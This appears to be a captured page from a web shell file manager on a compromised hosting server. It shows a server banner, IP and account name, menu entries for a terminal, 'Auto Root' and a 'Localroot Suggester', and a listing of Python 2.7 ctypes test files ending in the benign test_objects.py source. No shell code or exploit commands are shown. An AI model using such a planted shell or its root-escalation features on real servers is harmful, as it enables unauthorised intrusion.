Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.198
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib64 /
python2.7 /
ctypes /
test /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.py
7.16
KB
-rw-r--r--
2024-04-10 08:28
__init__.pyc
7.85
KB
-rw-r--r--
2024-04-10 08:28
__init__.pyo
7.85
KB
-rw-r--r--
2024-04-10 08:28
runtests.py
682
B
-rw-r--r--
2024-04-10 08:28
runtests.pyc
895
B
-rw-r--r--
2024-04-10 08:28
runtests.pyo
895
B
-rw-r--r--
2024-04-10 08:28
test_anon.py
2.49
KB
-rw-r--r--
2024-04-10 08:28
test_anon.pyc
3.55
KB
-rw-r--r--
2024-04-10 08:28
test_anon.pyo
3.55
KB
-rw-r--r--
2024-04-10 08:28
test_array_in_pointer.py
1.69
KB
-rw-r--r--
2024-04-10 08:28
test_array_in_pointer.pyc
2.21
KB
-rw-r--r--
2024-04-10 08:28
test_array_in_pointer.pyo
2.21
KB
-rw-r--r--
2024-04-10 08:28
test_arrays.py
5.19
KB
-rw-r--r--
2024-04-10 08:28
test_arrays.pyc
5.88
KB
-rw-r--r--
2024-04-10 08:28
test_arrays.pyo
5.88
KB
-rw-r--r--
2024-04-10 08:28
test_as_parameter.py
6.62
KB
-rw-r--r--
2024-04-10 08:28
test_as_parameter.pyc
8.73
KB
-rw-r--r--
2024-04-10 08:28
test_as_parameter.pyo
8.73
KB
-rw-r--r--
2024-04-10 08:28
test_bitfields.py
9.85
KB
-rw-r--r--
2024-04-10 08:28
test_bitfields.pyc
13.87
KB
-rw-r--r--
2024-04-10 08:28
test_bitfields.pyo
13.87
KB
-rw-r--r--
2024-04-10 08:28
test_buffers.py
2.56
KB
-rw-r--r--
2024-04-10 08:28
test_buffers.pyc
3.24
KB
-rw-r--r--
2024-04-10 08:28
test_buffers.pyo
3.24
KB
-rw-r--r--
2024-04-10 08:28
test_byteswap.py
10.57
KB
-rw-r--r--
2024-04-10 08:28
test_byteswap.pyc
9.56
KB
-rw-r--r--
2024-04-10 08:28
test_byteswap.pyo
9.56
KB
-rw-r--r--
2024-04-10 08:28
test_callbacks.py
9.65
KB
-rw-r--r--
2024-04-10 08:28
test_callbacks.pyc
12.6
KB
-rw-r--r--
2024-04-10 08:28
test_callbacks.pyo
12.6
KB
-rw-r--r--
2024-04-10 08:28
test_cast.py
3.1
KB
-rw-r--r--
2024-04-10 08:28
test_cast.pyc
3.58
KB
-rw-r--r--
2024-04-10 08:28
test_cast.pyo
3.58
KB
-rw-r--r--
2024-04-10 08:28
test_cfuncs.py
7.5
KB
-rw-r--r--
2024-04-10 08:28
test_cfuncs.pyc
10.67
KB
-rw-r--r--
2024-04-10 08:28
test_cfuncs.pyo
10.67
KB
-rw-r--r--
2024-04-10 08:28
test_checkretval.py
973
B
-rw-r--r--
2024-04-10 08:28
test_checkretval.pyc
1.66
KB
-rw-r--r--
2024-04-10 08:28
test_checkretval.pyo
1.66
KB
-rw-r--r--
2024-04-10 08:28
test_delattr.py
533
B
-rw-r--r--
2024-04-10 08:28
test_delattr.pyc
1.33
KB
-rw-r--r--
2024-04-10 08:28
test_delattr.pyo
1.33
KB
-rw-r--r--
2024-04-10 08:28
test_errno.py
2.28
KB
-rw-r--r--
2024-04-10 08:28
test_errno.pyc
2.84
KB
-rw-r--r--
2024-04-10 08:28
test_errno.pyo
2.84
KB
-rw-r--r--
2024-04-10 08:28
test_find.py
2.07
KB
-rw-r--r--
2024-04-10 08:28
test_find.pyc
2.79
KB
-rw-r--r--
2024-04-10 08:28
test_find.pyo
2.79
KB
-rw-r--r--
2024-04-10 08:28
test_frombuffer.py
3.35
KB
-rw-r--r--
2024-04-10 08:28
test_frombuffer.pyc
4.17
KB
-rw-r--r--
2024-04-10 08:28
test_frombuffer.pyo
4.17
KB
-rw-r--r--
2024-04-10 08:28
test_funcptr.py
3.94
KB
-rw-r--r--
2024-04-10 08:28
test_funcptr.pyc
4.27
KB
-rw-r--r--
2024-04-10 08:28
test_funcptr.pyo
4.27
KB
-rw-r--r--
2024-04-10 08:28
test_functions.py
12.27
KB
-rw-r--r--
2024-04-10 08:28
test_functions.pyc
14.72
KB
-rw-r--r--
2024-04-10 08:28
test_functions.pyo
14.72
KB
-rw-r--r--
2024-04-10 08:28
test_incomplete.py
1019
B
-rw-r--r--
2024-04-10 08:28
test_incomplete.pyc
1.33
KB
-rw-r--r--
2024-04-10 08:28
test_incomplete.pyo
1.33
KB
-rw-r--r--
2024-04-10 08:28
test_init.py
1.02
KB
-rw-r--r--
2024-04-10 08:28
test_init.pyc
1.79
KB
-rw-r--r--
2024-04-10 08:28
test_init.pyo
1.79
KB
-rw-r--r--
2024-04-10 08:28
test_internals.py
2.56
KB
-rw-r--r--
2024-04-10 08:28
test_internals.pyc
4.03
KB
-rw-r--r--
2024-04-10 08:28
test_internals.pyo
4.03
KB
-rw-r--r--
2024-04-10 08:28
test_keeprefs.py
3.95
KB
-rw-r--r--
2024-04-10 08:28
test_keeprefs.pyc
6.57
KB
-rw-r--r--
2024-04-10 08:28
test_keeprefs.pyo
6.57
KB
-rw-r--r--
2024-04-10 08:28
test_libc.py
881
B
-rw-r--r--
2024-04-10 08:28
test_libc.pyc
1.6
KB
-rw-r--r--
2024-04-10 08:28
test_libc.pyo
1.6
KB
-rw-r--r--
2024-04-10 08:28
test_loading.py
4.56
KB
-rw-r--r--
2024-04-10 08:28
test_loading.pyc
4.46
KB
-rw-r--r--
2024-04-10 08:28
test_loading.pyo
4.46
KB
-rw-r--r--
2024-04-10 08:28
test_macholib.py
1.76
KB
-rw-r--r--
2024-04-10 08:28
test_macholib.pyc
1.46
KB
-rw-r--r--
2024-04-10 08:28
test_macholib.pyo
1.46
KB
-rw-r--r--
2024-04-10 08:28
test_memfunctions.py
3.15
KB
-rw-r--r--
2024-04-10 08:28
test_memfunctions.pyc
3.68
KB
-rw-r--r--
2024-04-10 08:28
test_memfunctions.pyo
3.68
KB
-rw-r--r--
2024-04-10 08:28
test_numbers.py
9.05
KB
-rw-r--r--
2024-04-10 08:28
test_numbers.pyc
10.27
KB
-rw-r--r--
2024-04-10 08:28
test_numbers.pyo
10.27
KB
-rw-r--r--
2024-04-10 08:28
test_objects.py
1.63
KB
-rw-r--r--
2024-04-10 08:28
test_objects.pyc
2.15
KB
-rw-r--r--
2024-04-10 08:28
test_objects.pyo
2.15
KB
-rw-r--r--
2024-04-10 08:28
test_parameters.py
9.7
KB
-rw-r--r--
2024-04-10 08:28
test_parameters.pyc
11.38
KB
-rw-r--r--
2024-04-10 08:28
test_parameters.pyo
11.38
KB
-rw-r--r--
2024-04-10 08:28
test_pep3118.py
8.29
KB
-rw-r--r--
2024-04-10 08:28
test_pep3118.pyc
6.64
KB
-rw-r--r--
2024-04-10 08:28
test_pep3118.pyo
6.64
KB
-rw-r--r--
2024-04-10 08:28
test_pickling.py
2.17
KB
-rw-r--r--
2024-04-10 08:28
test_pickling.pyc
3.65
KB
-rw-r--r--
2024-04-10 08:28
test_pickling.pyo
3.65
KB
-rw-r--r--
2024-04-10 08:28
test_pointers.py
6.97
KB
-rw-r--r--
2024-04-10 08:28
test_pointers.pyc
7.49
KB
-rw-r--r--
2024-04-10 08:28
test_pointers.pyo
7.45
KB
-rw-r--r--
2024-04-10 08:28
test_prototypes.py
6.54
KB
-rw-r--r--
2024-04-10 08:28
test_prototypes.pyc
7.05
KB
-rw-r--r--
2024-04-10 08:28
test_prototypes.pyo
7.02
KB
-rw-r--r--
2024-04-10 08:28
test_python_api.py
2.89
KB
-rw-r--r--
2024-04-10 08:28
test_python_api.pyc
3.23
KB
-rw-r--r--
2024-04-10 08:28
test_python_api.pyo
3.23
KB
-rw-r--r--
2024-04-10 08:28
test_random_things.py
2.77
KB
-rw-r--r--
2024-04-10 08:28
test_random_things.pyc
3.21
KB
-rw-r--r--
2024-04-10 08:28
test_random_things.pyo
3.21
KB
-rw-r--r--
2024-04-10 08:28
test_refcounts.py
2.44
KB
-rw-r--r--
2024-04-10 08:28
test_refcounts.pyc
3.05
KB
-rw-r--r--
2024-04-10 08:28
test_refcounts.pyo
3.05
KB
-rw-r--r--
2024-04-10 08:28
test_repr.py
839
B
-rw-r--r--
2024-04-10 08:28
test_repr.pyc
1.71
KB
-rw-r--r--
2024-04-10 08:28
test_repr.pyo
1.71
KB
-rw-r--r--
2024-04-10 08:28
test_returnfuncptrs.py
2.71
KB
-rw-r--r--
2024-04-10 08:28
test_returnfuncptrs.pyc
2.82
KB
-rw-r--r--
2024-04-10 08:28
test_returnfuncptrs.pyo
2.82
KB
-rw-r--r--
2024-04-10 08:28
test_simplesubclasses.py
1.32
KB
-rw-r--r--
2024-04-10 08:28
test_simplesubclasses.pyc
2.83
KB
-rw-r--r--
2024-04-10 08:28
test_simplesubclasses.pyo
2.83
KB
-rw-r--r--
2024-04-10 08:28
test_sizes.py
815
B
-rw-r--r--
2024-04-10 08:28
test_sizes.pyc
1.82
KB
-rw-r--r--
2024-04-10 08:28
test_sizes.pyo
1.82
KB
-rw-r--r--
2024-04-10 08:28
test_slicing.py
6.3
KB
-rw-r--r--
2024-04-10 08:28
test_slicing.pyc
6.36
KB
-rw-r--r--
2024-04-10 08:28
test_slicing.pyo
6.36
KB
-rw-r--r--
2024-04-10 08:28
test_stringptr.py
2.4
KB
-rw-r--r--
2024-04-10 08:28
test_stringptr.pyc
2.62
KB
-rw-r--r--
2024-04-10 08:28
test_stringptr.pyo
2.62
KB
-rw-r--r--
2024-04-10 08:28
test_strings.py
7.18
KB
-rw-r--r--
2024-04-10 08:28
test_strings.pyc
7.63
KB
-rw-r--r--
2024-04-10 08:28
test_strings.pyo
7.63
KB
-rw-r--r--
2024-04-10 08:28
test_struct_fields.py
2.36
KB
-rw-r--r--
2024-04-10 08:28
test_struct_fields.pyc
4.28
KB
-rw-r--r--
2024-04-10 08:28
test_struct_fields.pyo
4.28
KB
-rw-r--r--
2024-04-10 08:28
test_structures.py
16.52
KB
-rw-r--r--
2024-04-10 08:28
test_structures.pyc
23.23
KB
-rw-r--r--
2024-04-10 08:28
test_structures.pyo
23.23
KB
-rw-r--r--
2024-04-10 08:28
test_unaligned_structures.py
1.19
KB
-rw-r--r--
2024-04-10 08:28
test_unaligned_structures.pyc
2.03
KB
-rw-r--r--
2024-04-10 08:28
test_unaligned_structures.pyo
2.03
KB
-rw-r--r--
2024-04-10 08:28
test_unicode.py
5
KB
-rw-r--r--
2024-04-10 08:28
test_unicode.pyc
6.04
KB
-rw-r--r--
2024-04-10 08:28
test_unicode.pyo
6.04
KB
-rw-r--r--
2024-04-10 08:28
test_values.py
2.86
KB
-rw-r--r--
2024-04-10 08:28
test_values.pyc
2.89
KB
-rw-r--r--
2024-04-10 08:28
test_values.pyo
2.95
KB
-rw-r--r--
2024-04-10 08:28
test_varsize_struct.py
1.8
KB
-rw-r--r--
2024-04-10 08:28
test_varsize_struct.pyc
2.36
KB
-rw-r--r--
2024-04-10 08:28
test_varsize_struct.pyo
2.36
KB
-rw-r--r--
2024-04-10 08:28
test_win32.py
5.02
KB
-rw-r--r--
2024-04-10 08:28
test_win32.pyc
6.06
KB
-rw-r--r--
2024-04-10 08:28
test_win32.pyo
6.06
KB
-rw-r--r--
2024-04-10 08:28
test_wintypes.py
1.43
KB
-rw-r--r--
2024-04-10 08:28
test_wintypes.pyc
1.6
KB
-rw-r--r--
2024-04-10 08:28
test_wintypes.pyo
1.6
KB
-rw-r--r--
2024-04-10 08:28
Save
Rename
# This tests the internal _objects attribute import unittest from ctypes import * from sys import getrefcount as grc # XXX This test must be reviewed for correctness!!! """ ctypes' types are container types. They have an internal memory block, which only consists of some bytes, but it has to keep references to other objects as well. This is not really needed for trivial C types like int or char, but it is important for aggregate types like strings or pointers in particular. What about pointers? """ class ObjectsTestCase(unittest.TestCase): def assertSame(self, a, b): self.assertEqual(id(a), id(b)) def test_ints(self): i = 42000123 refcnt = grc(i) ci = c_int(i) self.assertEqual(refcnt, grc(i)) self.assertEqual(ci._objects, None) def test_c_char_p(self): s = "Hello, World" refcnt = grc(s) cs = c_char_p(s) self.assertEqual(refcnt + 1, grc(s)) self.assertSame(cs._objects, s) def test_simple_struct(self): class X(Structure): _fields_ = [("a", c_int), ("b", c_int)] a = 421234 b = 421235 x = X() self.assertEqual(x._objects, None) x.a = a x.b = b self.assertEqual(x._objects, None) def test_embedded_structs(self): class X(Structure): _fields_ = [("a", c_int), ("b", c_int)] class Y(Structure): _fields_ = [("x", X), ("y", X)] y = Y() self.assertEqual(y._objects, None) x1, x2 = X(), X() y.x, y.y = x1, x2 self.assertEqual(y._objects, {"0": {}, "1": {}}) x1.a, x2.b = 42, 93 self.assertEqual(y._objects, {"0": {}, "1": {}}) def test_xxx(self): class X(Structure): _fields_ = [("a", c_char_p), ("b", c_char_p)] class Y(Structure): _fields_ = [("x", X), ("y", X)] s1 = "Hello, World" s2 = "Hallo, Welt" x = X() x.a = s1 x.b = s2 self.assertEqual(x._objects, {"0": s1, "1": s2}) y = Y() y.x = x self.assertEqual(y._objects, {"0": {"0": s1, "1": s2}}) ## x = y.x ## del y ## print x._b_base_._objects def test_ptr_struct(self): class X(Structure): _fields_ = [("data", POINTER(c_int))] A = c_int*4 a = A(11, 22, 33, 44) self.assertEqual(a._objects, None) x = X() x.data = a ##XXX print x._objects ##XXX print x.data[0] ##XXX print x.data._objects if __name__ == '__main__': unittest.main()